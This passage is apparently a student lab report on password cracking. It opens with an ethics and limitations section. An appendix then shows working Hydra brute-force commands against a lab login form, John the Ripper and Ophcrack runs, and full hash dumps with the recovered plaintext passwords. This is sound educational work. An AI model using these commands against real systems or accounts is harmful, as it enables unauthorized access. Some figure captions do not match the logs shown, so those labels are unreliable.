All security testing activities were conducted within a comprehensive ethical framework designed to ensure responsible research practices and compliance with institutional standards.

6.1.1 Authorization and Scope

Authorized Testing Environment All password cracking activities were performed using:

- Officially provided Password Verification Data (PVD) files from course materials
- JMU Computer Science laboratory infrastructure with appropriate access permissions
- VPN-connected target systems specifically designated for educational security testing
- Controlled network environment isolated from production systems

Academic Integrity The assessment strictly adhered to JMU's Honor Code requirements:

- No use of online password cracking services or unauthorized toolkits
- Independent completion of all analysis and tool implementation
- Proper attribution of all tools, techniques, and reference materials
- Original analysis and documentation of all findings

6.1.2 Responsible Disclosure

Information Handling All sensitive information discovered during testing was handled responsibly:

- Password values documented for educational purposes only
- No attempt to access unauthorized systems or data
- Secure storage and disposal of all credential information
- Limited disclosure appropriate for academic reporting

Tool Usage Ethics Security tool deployment followed established ethical guidelines:

- Rate limiting applied to prevent system disruption
- Monitoring of system resources to avoid overload
- Proper session management to prevent interference with other users
- Documentation of all testing activities for transparency

6.2 Methodological Limitations

Several important limitations affect the scope and applicability of this assessment:

6.2.1 Environmental Constraints

Laboratory Setting The controlled laboratory environment provides important benefits but also introduces limitations:

Benefits:

- Consistent, reproducible testing conditions
- Elimination of external network interference
- Controlled target systems with known configurations
- Safe environment for learning and experimentation

Limitations:

- May not reflect real-world defensive measures
- Limited exposure to advanced intrusion detection systems
- Simplified network topology compared to production environments
- Absence of active incident response and monitoring

Hardware and Resource Constraints Testing was conducted on shared laboratory systems with specific limitations:

- ARM64 architecture may not represent typical attacker capabilities
- Shared CPU resources potentially affecting attack performance
- Network bandwidth limitations for online attack testing
- Time constraints limiting exhaustive attack exploration

6.2.2 Scope Limitations

Authentication Method Coverage The assessment focused on specific authentication mechanisms:

Included:

- Legacy password hashing (LM, NTLM)
- Modern Unix password hashing (SHA-512)
- Web authentication (HTML forms, HTTP Basic/Digest)
- RSA token authentication analysis

Excluded:

- Multi-factor authentication implementations
- Biometric authentication systems
- Smart card and certificate-based authentication
- Modern authentication protocols (OAuth, SAML, OpenID Connect)

Attack Vector Coverage While comprehensive within its scope, the assessment did not examine:

- Social engineering attacks targeting password acquisition
- Keyboard logging and password capture techniques
- Memory-based password extraction from running systems
- Network-based password interception and replay attacks

6.3 Data Privacy and Security

6.3.1 Information Classification

All information generated during the assessment was classified and handled appropriately:

- **Public Information:** Tool documentation, general methodologies, and academic analysis
- **Restricted Information:** Specific password values, system configurations, and attack timing
- **Sensitive Information:** Private key values, certificate details, and detailed vulnerability information

6.3.2 Data Retention and Disposal

Appropriate data lifecycle management was implemented:

- Secure storage of all assessment data during project duration
- Planned secure deletion of sensitive credential information post-submission
- Retention of anonymized analytical results for potential future research
- Proper backup and recovery procedures for critical evidence

6.4 Legal and Regulatory Considerations

6.4.1 Compliance Framework

The assessment operated within established legal and regulatory boundaries:

- **Educational Use:** All activities conducted for legitimate educational purposes under institutional supervision
- **Authorized Access:** Exclusive use of authorized systems and provided materials
- **Responsible Research:** Adherence to established computer science research ethics guidelines
- **Professional Standards:** Alignment with industry-accepted penetration testing methodologies

6.4.2 Risk Management

Comprehensive risk mitigation strategies were implemented:

- Regular consultation with course instructors on methodology and scope
- Careful documentation of all activities for audit and review purposes
- Implementation of safety mechanisms to prevent accidental system damage
- Establishment of clear escalation procedures for unexpected findings

6.5 Recommendations for Future Work

Based on the limitations identified, future security assessments should consider:

1. **Expanded Scope:** Include modern authentication protocols and multi-factor implementations
 2. **Real-world Simulation:** Incorporate active defensive measures and incident response simulation
 3. **Diverse Platforms:** Test across multiple hardware architectures and operating systems
 4. **Longitudinal Analysis:** Conduct repeated assessments to measure security improvement over time
- The ethical framework and limitation acknowledgment presented here ensure that this assessment contributes positively to cybersecurity education while maintaining the highest standards of academic integrity and responsible research practice.

Appendix A — Evidence and Screenshots

Table 8: Screenshot Inventory and Reference Labels

Filename	Reference Label
01_john_ripper_cracked_passwords_summary.png	fig:A-task1-tool-comparison
02_hydra_http_brute_force_attack_in_progress.png	fig:A-misc-02-hydra-http-brute-force-attack-in-progress
03_curl_http_auth_testing_success_failure.png	fig:A-misc-03-curl-http-auth-testing-success-failure
04_hydra_successful_password_iloveyou_found.png	fig:A-misc-04-hydra-successful-password-iloveyou-found
05_john_ripper_smith_phase2c_session_log.png	fig:A-misc-05-john-ripper-smith-phase2c-session-log
06_linux_passwd_file_contents.png	fig:A-task0-pvd-analysis
07_windows_2003_ntlm_hash_file.png	fig:A-misc-07-windows-2003-ntlm-hash-file
08_windows_7_ntlm_hash_file.png	fig:A-misc-08-windows-7-ntlm-hash-file
09_ophcrack_cracked_passwords_results.png	fig:A-task3-win2003-ophcrack
10_john_pot_file_nt_hash_passwords.png	fig:A-misc-10-john-pot-file-nt-hash-passwords
11_john_smith_hash_qaZwsX_cracked.png	fig:A-misc-11-john-smith-hash-qazwsx-cracked
12_john_show_smith_password_confirmation.png	fig:A-misc-12-john-show-smith-password-confirmation
13_morpheus_hash_cross_platform_analysis.png	fig:A-task5-comparison
14_john_windows7_all_passwords_cracking.png	fig:A-misc-14-john-windows7-all-passwords-cracking
15_john_windows7_complete_10_passwords_cracked.png	fig:A-task2-win7-results
16_system_info_kali_linux_apple_silicon.png	fig:A-misc-16-system-info-kali-linux-apple-silicon
17_john_linux_sha512_matrix123_cracked.png	fig:A-task4-linux-john
18_network_connectivity_ping_tests.png	fig:A-misc-18-network-connectivity-ping-tests
19_ophcrack_rainbow_table_results_complete.png	fig:A-misc-19-ophcrack-rainbow-table-results-complete
20_hydra_http_basic_auth_sotalait_password_found.png	fig:A-web-basic-results
21_hydra_html_form_tripsine_password_found.png	fig:A-web-html-results
22_hydra_digest_auth_hakkis_password_found.png	fig:A-web-digest-results

```
(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ grep 'Cracked' evidence/john.log
0:00:00:00 + Cracked Morpheus
0:00:00:00 + Cracked Neo
0:00:00:00 + Cracked tryme
0:00:00:00 + Cracked Arthur
0:00:00:00 + Cracked Cobb
0:00:00:00 + Cracked Cypher
0:00:00:00 + Cracked *disabled* Administrator (ADMIN ACCOUNT)
0:00:00:00 + Cracked Trinity
```

Figure 1: 01 John Ripper Cracked Passwords Summary

```

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ hydra -l wangxx -P all8.txt 192.168.100.101 http-post-form "/dologin.html:httpd_username=^USER^&httpd_password=^PASS^:F=Invalid" -v
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-09 11:23:30
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 2798999 login tries (l:1/p:2798999), ~174938 tries per task
[DATA] attacking http-post-form://192.168.100.101:80/dologin.html:httpd_username=^USER^&httpd_password=^PASS^:F=Invalid
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "password" - 1 of 2798999 [child 0] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "iloveyou" - 2 of 2798999 [child 1] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "princess" - 3 of 2798999 [child 2] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "12345678" - 4 of 2798999 [child 3] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "babygirl" - 5 of 2798999 [child 4] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "michelle" - 6 of 2798999 [child 5] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "sunshine" - 7 of 2798999 [child 6] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "football" - 8 of 2798999 [child 7] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "jennifer" - 9 of 2798999 [child 8] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "superman" - 10 of 2798999 [child 9] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "samantha" - 11 of 2798999 [child 10] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "danielle" - 12 of 2798999 [child 11] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "jonathan" - 13 of 2798999 [child 12] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "computer" - 14 of 2798999 [child 13] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "whatever" - 15 of 2798999 [child 14] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "softball" - 16 of 2798999 [child 15] (0/0)
[80][http-post-form] host: 192.168.100.101 login: wangxx password: princess
[80][http-post-form] host: 192.168.100.101 login: wangxx password: iloveyou
[80][http-post-form] host: 192.168.100.101 login: wangxx password: michelle
[80][http-post-form] host: 192.168.100.101 login: wangxx password: password
[80][http-post-form] host: 192.168.100.101 login: wangxx password: sunshine
[80][http-post-form] host: 192.168.100.101 login: wangxx password: superman
[80][http-post-form] host: 192.168.100.101 login: wangxx password: 12345678
[80][http-post-form] host: 192.168.100.101 login: wangxx password: jennifer
[80][http-post-form] host: 192.168.100.101 login: wangxx password: danielle
[80][http-post-form] host: 192.168.100.101 login: wangxx password: babygirl
[80][http-post-form] host: 192.168.100.101 login: wangxx password: samantha
[80][http-post-form] host: 192.168.100.101 login: wangxx password: jonathan
[80][http-post-form] host: 192.168.100.101 login: wangxx password: whatever
[80][http-post-form] host: 192.168.100.101 login: wangxx password: softball
[80][http-post-form] host: 192.168.100.101 login: wangxx password: computer
[80][http-post-form] host: 192.168.100.101 login: wangxx password: football
1 of 1 target successfully completed, 16 valid passwords found

```

Figure 2: 02 Hydra Http Brute Force Attack In Progress

```

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ # new session cookie
curl -s -c cookies.txt http://192.168.100.101/login.html > /dev/null

# SUCCESS sample: test/test (page after login)
curl -s -b cookies.txt -c cookies.txt -d "httpd_username=test&httpd_password=test" \
-X POST -D success.hdr http://192.168.100.101/dologin.html -o success.html

# FAILURE sample: test/wrong
curl -s -b cookies.txt -c cookies.txt -d "httpd_username=test&httpd_password=wrong" \
-X POST -D fail.hdr http://192.168.100.101/dologin.html -o fail.html

# Compare to find a unique success marker
grep -iE 'welcome|logout|protected|dashboard' success.html
grep -i 'Location:' success.hdr fail.hdr
wc -c success.html fail.html
success.hdr:Location: http://192.168.100.101/success.html
fail.hdr:Location: http://192.168.100.101/login.html
300 success.html
298 fail.html
598 total

```

Figure 3: 03 Curl Http Auth Testing Success Failure

```

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ hydra -I -t 4 -l wangxx -P all8.txt 192.168.100.101 \
http-post-form "/dologin.html:httpd_username=^USER^&httpd_password=^PASS^:F=Invalid" \
-f -V -o evidence/html_verified_results.txt
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizat
ions, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-09 11:34:02
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 2798999 login tries (l:1/p:2798999), ~699750 tries per task
[DATA] attacking http-post-form://192.168.100.101:80/dologin.html:httpd_username=^USER^&httpd_password=^PASS^:F=In
valid
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "password" - 1 of 2798999 [child 0] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "iloveyou" - 2 of 2798999 [child 1] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "princess" - 3 of 2798999 [child 2] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "12345678" - 4 of 2798999 [child 3] (0/0)
[80][http-post-form] host: 192.168.100.101 login: wangxx password: iloveyou
[STATUS] attack finished for 192.168.100.101 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-09 11:34:04

```

Figure 4: 04 Hydra Successful Password Iloveyou Found


```

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ cat evidence/smith_phase2c.log
0:00:00:00 Starting a new session
0:00:00:00 Loaded a total of 1 password hash
0:00:00:00 Command line: john --format=NT /mnt/hgfs/cs660-p3-shared/smith_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --rules=single --max-run-time=480 --session=smith_phase2c
0:00:00:00 - UTF-8 input encoding enabled
0:00:00:00 - Passwords will be stored UTF-8 encoded in .pot file
0:00:00:00 Autotune found best speed at MKPC of 1024 (128 * 8)
0:00:00:00 - Hash type: NT (min-len 0, max-len 27)
0:00:00:00 - Algorithm: MD4 128/128 ASIMD 4x2
0:00:00:00 - Configured to use otherwise idle processor cycles only
0:00:00:00 - Will reject candidates longer than 81 bytes
0:00:00:00 - Candidate passwords will be buffered and tried in chunks of 8192
0:00:00:00 Proceeding with wordlist mode
0:00:00:00 - Rules: single
0:00:00:00 - Wordlist file: /usr/share/wordlists/rockyou.txt
0:00:00:00 - memory mapping wordlist (139921507 bytes)
0:00:00:00 - loading wordfile /usr/share/wordlists/rockyou.txt into memory (139921507 bytes, max_size=2147483648)
0:00:00:00 - wordfile had 14344392 lines and required 114755136 bytes for index.
0:00:00:00 - 1140 preprocessed word mangling rules
0:00:00:00 - No stacked rules
0:00:00:00 - Rule #1: ':' accepted as ''
0:00:00:01 - Rule #2: '-s x**' rejected
0:00:00:01 - Rule #3: '-c (?a c Q' accepted as '(?acQ'
0:00:00:02 - Rule #4: '-c lQ' accepted as 'lQ'
0:00:00:02 - Rule #5: '-s-c x** /?u l' rejected
0:00:00:02 - Rule #6: '<6 >6 '6' accepted as '>6'6'
0:00:00:03 - Rule #7: '<7 >7 '7 l' accepted as '>7'7l'
0:00:00:03 - Rule #8: '<6 -c >6 '6 /?u l' accepted as '>6'6/?ul'
0:00:00:04 - Rule #9: '<5 >5 '5' accepted as '>5'5'
0:00:00:04 - Rule #10: '/?d @?d >4' accepted as '/?d@?d>4'
0:00:00:05 - Rule #11: '/?d @?d M @?A >4 Q' accepted as '/?d@?dM@?A>4Q'
0:00:00:06 - Rule #12: '-c /?d @?d >4 M l Q' accepted as '/?d@?d>4MlQ'
0:00:00:06 + Cracked Smith
0:00:00:06 Session completed

```

Figure 5: 05 John Ripper Smith Phase2C Session Log

```

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ cat 2025Fall-PVDlinux.txt
root:$6$1hiUnAov$ao20diKQ/BmcD1VKHmFZq/W/lwHGJ6je/3u8fpeULStm57NE9GZKmIj4LmKmZwEaAtxdAVpjoUM1nS
BG6wph31:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
landscape:x:103:108::/var/lib/landscape:/bin/false
messagebus:x:104:112::/var/run/dbus:/bin/false
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
mysql:!105:113::/var/lib/mysql:/bin/false
avahi:*106:114::/var/run/avahi-daemon:/bin/false
snort:*107:115:Snort IDS:/var/log/snort:/bin/false
statd:*108:65534::/var/lib/nfs:/bin/false
usbmux:*109:46::/home/usbmux:/bin/false
pulse:*110:116::/var/run/pulse:/bin/false
rtkit:*111:117::/proc:/bin/false
festival:*112:29::/home/festival:/bin/false
postgres:!1000:1000::/home/postgres:/bin/sh
nx:*113:121:FreeNX Server,,,:/var/lib/nxserver/home/:/usr/bin/nxserver
Morpheus:$6$ykumbyCz$IiKc0RFh2Xa/uV9H8Ayed9aHSSAPEWx0LI8GMtaGrJX61iuYa2Qdw.8rt2bxnZPZgBqm2To26K
7a/YDfbTsY61:1001:1001::/home/morpheus:/bin/sh
Neo:$6$t3Gdu5*7$FqgfvoTJnALhn7C9LHfaX9JeNe62eY4.vJ/DSurlTckhTID6Sg0XqIGmTtnZUVDgFGYzxKtcJvdQmLJ
KFz53R1:1002:1002::/home/neo:/bin/sh
Trinity:$6$sDGKA02Z$6ZdCSERFGPBret4uehXXPDxfV8wPEi3ZUPJ1SN7j7bP1BH0zmgIFtMXj2JawdzboMbTxB57c87Q
44A2aVry1a1:1003:1003::/home/trinity:/bin/sh
Cypher:$6$lpWsfATN$WbeUVNj/wwZ2jn0BqSAuPxwdfc5KCECr0cAjDLbINeef2yoCqmRMrE9B7zaN1B4KWMrWDYnElauN
bP0bZZF/Q/:1004:1004::/home/cypher:/bin/sh
Smith:$6$m91MbVFW$99tXUrGuSbEkzp0JyyNmmtErrlPysNop3LH3lqJ.0xPxcmqBoSq6bm36QI272Y499p4ICVWigWlo7
iCjUTaXw1:1005:1005::/home/smith:/bin/sh
Cobb:$6$bF01XX6V$Z0cK8CKIpa1ZR2iqWmnwD89MftPHmZBd/4bQOVKCCAnLlZEQR4NzqXFVghefiVip/R3QajlphCh9E
W3kgzoK.:1006:1006::/home/cobb:/bin/sh
Arthur:$6$xmDmBDQd$zB8xUqWp0jW8B2lhPmZp9lywP5JDMjN7c4GnQ5xisD8tSFDCyENZ173KhZftrs9I1A0YI1Gw1Qu1
smvilySAP1:1007:1007::/home/arthur:/bin/sh

```

Figure 6: 06 Linux Passwd File Contents

```

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ cat 2025Fall-PVDwindows2k3.txt
Administrator:500:789D4C7C9512D54C6E54DA88DD150D11:55A1493DF652D423AE05634C0D1C94D9 :::
ASPNET:1007:C647A2B8CFA79D12B79DF1ED7C4BA262:B4D268778A3CB65AF373E8A2E1443050 :::
Morpheus:1010:DB170C426EAE78BEFF17365FAF1FFE89:482563F0ADAAC6CA60C960C0199559D2 :::
Neo:1011:37035B1C4AE2B0C525AD3B83FA6627C7:AAD08989FC198D6F3779878E01B40301 :::
Trinity:1012:5D567324BA3CCEF81D71060D896B7A46:CC528F4594C27552ED9CCD37D2D5EE56 :::
Cypher:1014:B34CE522C3E4C8774A3B108F3FA6CB6D:B9F917853E3DBF6E6831ECCE60725930 :::
Smith:1015:45BF38FBD873819AAD3B435B51404EE:2858AA4F80B55030163B5E98E2F02A74 :::
Cobb:1016:6089B6316B3577C4944E2DF489A880E4:68365827D79C4F5CC9B52B688495FD51 :::
Arthur:1017:C819160E87A9C8EFC2265B23734E0DAC:F773C5DB7DDEBEFA4B0DAE7EE8C50AEA :::
Guest:501:NO PASSWORD*****:NO PASSWORD***** :::
IUSR_JAMES-BFCF5F2D5:1003:A34C6084CD00D144804161F8F14BF675:74680584039C174E466BF3B85321F6FB :::
IWAM_JAMES-BFCF5F2D5:1004:0ADD5D9C6170C0D29DEBEBB3096E48C8:0C20B9D1814D4464D959AC5B39EFB005 :::
SUPPORT_388945a0:1001:NO PASSWORD*****:13696F852853CD8172F4991066D3BC0E :::
System32:1009:7EF138EB44BBE93B104C5A08BE4E329A:3CE67103F2F6F2049E843494E7E4208E :::
SYS_32:1008:7EF138EB44BBE93B104C5A08BE4E329A:3CE67103F2F6F2049E843494E7E4208E :::
Completed.

```

Figure 7: 07 Windows 2003 Ntlm Hash File

```

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ cat 2025Fall-PVDwindows7.txt
*disabled* Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
tryme:1001:aad3b435b51404eeaad3b435b51404ee:8ec60adea316d957d1cf532c5841758d :::
Morpheus:1002:aad3b435b51404eeaad3b435b51404ee:482563f0adaac6ca60c960c0199559D2 :::
Neo:1003:aad3b435b51404eeaad3b435b51404ee:aad08989fc198d6f3779878E01B40301 :::
Cypher:1004:aad3b435b51404eeaad3b435b51404ee:b9f917853e3dbf6e6831ecce60725930 :::
Smith:1005:aad3b435b51404eeaad3b435b51404ee:2858aa4f80b55030163b5e98e2f02a74 :::
Cobb:1006:aad3b435b51404eeaad3b435b51404ee:68365827d79c4f5cc9b52b688495fd51 :::
Arthur:1007:aad3b435b51404eeaad3b435b51404ee:f773c5db7ddebeffa4b0dae7ee8c50aea :::
Trinity:1008:aad3b435b51404eeaad3b435b51404ee:cc528f4594c27552ed9ccd37d2d5ee56 :::

```

Figure 8: 08 Windows 7 Ntlm Hash File

```

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ cat evidence/ophcrack_results.txt
Administrator:500:789D4C7C9512D54C6E54DA88DD150D11:55A1493DF652D423AE05634C0D1C94D9:MSKITTY:666
:mskitty666
ASPNET:1007:C647A2B8CFA79D12B79DF1ED7C4BA262:B4D268778A3CB65AF373E8A2E1443050::D5912K8:
Morpheus:1010:DB170C426EAE78BEFF17365FAF1FFE89:482563F0ADAAC6CA60C960C0199559D2:A1B2C3D:4:a1b2c
3d4
Neo:1011:37035B1C4AE2B0C525AD3B83FA6627C7:AAD08989FC198D6F3779878E01B40301:QWERTY1:0:qwerty10
Trinity:1012:5D567324BA3CCEF81D71060D896B7A46:CC528F4594C27552ED9CCD37D2D5EE56:LETMEIN:2:letmei
n2
Cypher:1014:B34CE522C3E4C8774A3B108F3FA6CB6D:B9F917853E3DBF6E6831ECCE60725930:PASSW0R:D:passw0r
d
Smith:1015:45BF38FBD873819AAD3B435B51404EE:2858AA4F80B55030163B5E98E2F02A74:QAZWSX::qaZwsX
Cobb:1016:6089B6316B3577C4944E2DF489A880E4:68365827D79C4F5CC9B52B688495FD51:1Q2W3E4:R:1q2w3e4r
Arthur:1017:C819160E87A9C8EFC2265B23734E0DAC:F773C5DB7DDEBEFA4B0DAE7EE8C50AEA:TRUSTNO:1:trustno
1
Guest:501::31d6cfe0d16ae931b73c59d7e0c089c0:::
IUSR_JAMES-BFCF5F2D5:1003:A34C6084CD00D144804161F8F14BF675:74680584039C174E466BF3B85321F6FB:::
IWAM_JAMES-BFCF5F2D5:1004:0ADD5D9C6170C0D29DEBEBB3096E48C8:0C20B9D1814D4464D959AC5B39EFB005:::
SUPPORT_388945a0:1001::13696F852853CD8172F4991066D3BC0E:::
System32:1009:7EF138EB44BBE93B104C5A08BE4E329A:3CE67103F2F6F2049E843494E7E4208E::ABB1T:
SYS_32:1008:7EF138EB44BBE93B104C5A08BE4E329A:3CE67103F2F6F2049E843494E7E4208E::ABB1T:

```

Figure 9: 09 Ophcrack Cracked Passwords Results

```

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ cat evidence/john.log | grep 'Cracked'
0:00:00:00 + Cracked Morpheus
0:00:00:00 + Cracked Neo
0:00:00:00 + Cracked tryme
0:00:00:00 + Cracked Arthur
0:00:00:00 + Cracked Cobb
0:00:00:00 + Cracked Cypher
0:00:00:00 + Cracked *disabled* Administrator (ADMIN ACCOUNT)
0:00:00:00 + Cracked Trinity

```

Figure 10: 10 John Pot File Nt Hash Passwords

```

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ cat evidence/john.pot
$NT$482563f0adaac6ca60c960c0199559d2:a1b2c3d4
$NT$aad08989fc198d6f3779878e01b40301:qwerty10
$NT$8ec60adea316d957d1cf532c5841758d:11111111
$NT$f773c5db7ddebefa4b0dae7ee8c50aea:trustno1
$NT$68365827d79c4f5cc9b52b688495fd51:1q2w3e4r
$NT$b9f917853e3dbf6e6831ecce60725930:passw0rd
$NT$31d6cfe0d16ae931b73c59d7e0c089c0:
$NT$cc528f4594c27552ed9ccd37d2d5ee56:letmein2

```

Figure 11: 11 John Smith Hash Qazwsx Cracked

```

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ john --format=NT smith_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --rules=single
--max-run-time=480 --session=smith_phase2c
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 ASIMD 4x2])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
qaZwsX (Smith)
1g 0:00:00:06 DONE (2025-09-09 13:19) 0.1628g/s 7567Kp/s 7567Kc/s 7567Kc/s octubre..yayarea
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.

```

Figure 12: 12 John Show Smith Password Confirmation


```

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ john --format=NT smith_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --rules=single
--max-run-time=480 --session=smith_phase2c
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 ASIMD 4x2])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
qaZwsX (Smith)
1g 0:00:00:06 DONE (2025-09-09 13:19) 0.1628g/s 7567Kp/s 7567Kc/s 7567Kc/s octubre..yayarea
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ john --show --format=NT smith_hash.txt
Smith:qaZwsX:1005:aad3b435b51404eeaad3b435b51404ee:2858aa4f80b55030163b5e98e2f02a74 :::

1 password hash cracked, 0 left

```

Figure 13: 13 Morpheus Hash Cross Platform Analysis

```

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ grep 'Morpheus' 2025Fall-PVDwindows7.txt
Morpheus:1002:aad3b435b51404eeaad3b435b51404ee:482563f0adaac6ca60c960c0199559d2 :::

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ grep 'Morpheus' 2025Fall-PVDwindows2k3.txt
Morpheus:1010:DB170C426EAE78BEFF17365FAF1FFE89:482563F0ADAAC6CA60C960C0199559D2 :::

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ grep 'Morpheus' 2025Fall-PVDlinux.txt
Morpheus:$6$ykumbyCz$IiKc0RFh2Xa/uV9H8Ayed9aHSSAPEWx0LI8GMtaGrJX61iuYa2Qdw.8rt2bxnZPZgBqm2To26K
7a/YDfbTsY61:1001:1001::/home/morpheus:/bin/sh

```

Figure 14: 14 John Windows7 All Passwords Cracking

```

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ john --format=NT --wordlist=/tmp/rockyou.txt 2025Fall-PVDwindows7.txt
Using default input encoding: UTF-8
Loaded 9 password hashes with no different salts (NT [MD4 128/128 ASIMD 4x2])
Remaining 8 password hashes with no different salts
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
11111111      (tryme)
trustno1      (Arthur)
1q2w3e4r      (Cobb)
passwd0rd     (Cypher)
a1b2c3d4      (Morpheus)
               (*disabled* Administrator)
letmein2      (Trinity)
qwerty10      (Neo)
8g 0:00:00:00 DONE (2025-09-09 13:24) 800.0g/s 8192Kp/s 8192Kc/s 21299KC/s ryanscott..janson
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ john --format=NT --wordlist=/tmp/rockyou.txt 2025Fall-PVDwindows7.txt
Using default input encoding: UTF-8
Loaded 9 password hashes with no different salts (NT [MD4 128/128 ASIMD 4x2])
No password hashes left to crack (see FAQ)

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ john --show --format=NT 2025Fall-PVDwindows7.txt
*disabled* Administrator::500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
*disabled* Guest::501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
tryme:11111111:1001:aad3b435b51404eeaad3b435b51404ee:8ec60adea316d957d1cf532c5841758d :::
Morpheus:a1b2c3d4:1002:aad3b435b51404eeaad3b435b51404ee:482563f0adaac6ca60c960c0199559d2 :::
Neo:qwerty10:1003:aad3b435b51404eeaad3b435b51404ee:aad08989fc198d6f3779878e01b40301 :::
Cypher:passwd0rd:1004:aad3b435b51404eeaad3b435b51404ee:b9f917853e3dbf6e6831ecce60725930 :::
Smith:qaZwsX:1005:aad3b435b51404eeaad3b435b51404ee:2858aa4f80b55030163b5e98e2f02a74 :::
Cobb:1q2w3e4r:1006:aad3b435b51404eeaad3b435b51404ee:68365827d79c4f5cc9b52b688495fd51 :::
Arthur:trustno1:1007:aad3b435b51404eeaad3b435b51404ee:f773c5db7ddebefa4b0dae7ee8c50aea :::
Trinity:letmein2:1008:aad3b435b51404eeaad3b435b51404ee:cc528f4594c27552ed9ccd37d2d5ee56 :::

10 password hashes cracked, 0 left

```

Figure 15: 15 John Windows7 Complete 10 Passwords Cracked

```

